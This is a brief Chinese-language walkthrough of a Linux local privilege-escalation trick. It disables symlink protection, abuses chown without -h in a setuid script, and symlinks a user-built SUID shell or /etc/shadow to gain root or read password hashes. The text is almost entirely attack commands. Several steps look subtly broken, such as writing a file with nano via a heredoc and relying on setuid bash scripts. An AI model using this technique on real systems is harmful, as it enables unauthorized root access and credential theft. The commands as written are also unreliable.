当Linux发行版禁用对符号链接的保护时:echo 0 > /proc/sys/fs/protected_symlinks
对软链接文件执行chown操作时,如果未加-h参数,实际将会操作原文件。
利用该特点我们能实现对文件的提权与降权。
root用户创建了以下下脚本
nano 1.sh <<EOF
#!/bin/bash
chown root:root ./2.sh
EOF
chmod 4755 ./1.sh
aplyc1a用户执行以下步骤,创建对自己生成的suidshell的软链接。
gcc suid.c -o suid.shell
chmod +x suid.shell
ln -s ./suid.shell 2.sh
之后,aplyc1a依次执行1.sh、2.sh即可实现提权。
bash 1.sh
./2.sh
root用户创建了以下下脚本
cat 1.sh <<EOF
#!/bin/bash
chown aplyc1a:aplyc1a ./2.sh
EOF
chmod 4755 ./1.sh
aplyc1a用户执行以下步骤,创建对/etc/shadow的软链接。
ln -s /etc/shadow 2.sh
之后,aplyc1a依次执行1.sh、2.sh即可实现对shadow文件的降权,从而可以读取文件内容。
bash 1.sh
cat ./2.sh